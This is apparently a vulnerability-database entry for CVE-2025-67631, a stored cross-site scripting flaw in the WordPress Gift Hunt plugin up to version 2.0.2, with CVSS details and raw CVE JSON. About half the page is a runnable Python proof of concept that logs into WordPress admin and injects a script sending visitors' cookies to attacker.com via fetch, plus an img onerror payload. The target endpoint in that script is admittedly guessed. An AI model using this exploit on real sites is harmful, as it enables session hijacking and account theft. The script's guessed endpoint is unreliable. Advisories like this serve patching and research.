Security Vulnerability Report
中文
CVE-2025-67631 CVSS 5.9 MEDIUM

CVE-2025-67631

Published: 2025-12-24 13:16:19
Last Modified: 2026-04-27 18:16:48

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ecommerce Platforms Gift Hunt gift-hunt allows Stored XSS.This issue affects Gift Hunt: from n/a through <= 2.0.2.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Gift Hunt plugin <= 2.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from bs4 import BeautifulSoup # CVE-2025-67631 PoC - WordPress Gift Hunt Plugin Stored XSS # Target: WordPress with Gift Hunt plugin <= 2.0.2 TARGET_URL = "http://target-site.com/wp-login.php" USERNAME = "admin" PASSWORD = "admin_password" # XSS Payload - Cookie stealing example XSS_PAYLOAD = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>' def exploit_stored_xss(target_url, username, password, payload): """Exploit stored XSS in Gift Hunt plugin""" session = requests.Session() # Step 1: Login to WordPress admin login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(TARGET_URL, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject XSS payload via Gift Hunt plugin admin interface # The actual endpoint depends on plugin's gift creation functionality gift_create_url = target_url.replace('/wp-login.php', '/wp-admin/admin.php?page=gift-hunt-settings') xss_data = { 'gift_name': payload, 'gift_description': '<img src=x onerror=alert(document.domain)>', 'action': 'save_gift' } resp = session.post(gift_create_url, data=xss_data) if resp.status_code == 200: print("[+] XSS payload injected successfully") print("[+] Payload will execute when admin or users view gift list page") return True return False if __name__ == "__main__": print("CVE-2025-67631 - WordPress Gift Hunt Plugin Stored XSS") exploit_stored_xss(TARGET_URL, USERNAME, PASSWORD, XSS_PAYLOAD)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67631", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:19.310", "lastModified": "2026-04-27T18:16:47.577", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ecommerce Platforms Gift Hunt gift-hunt allows Stored XSS.This issue affects Gift Hunt: from n/a through <= 2.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/gift-hunt/vulnerability/wordpress-gift-hunt-plugin-2-0-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}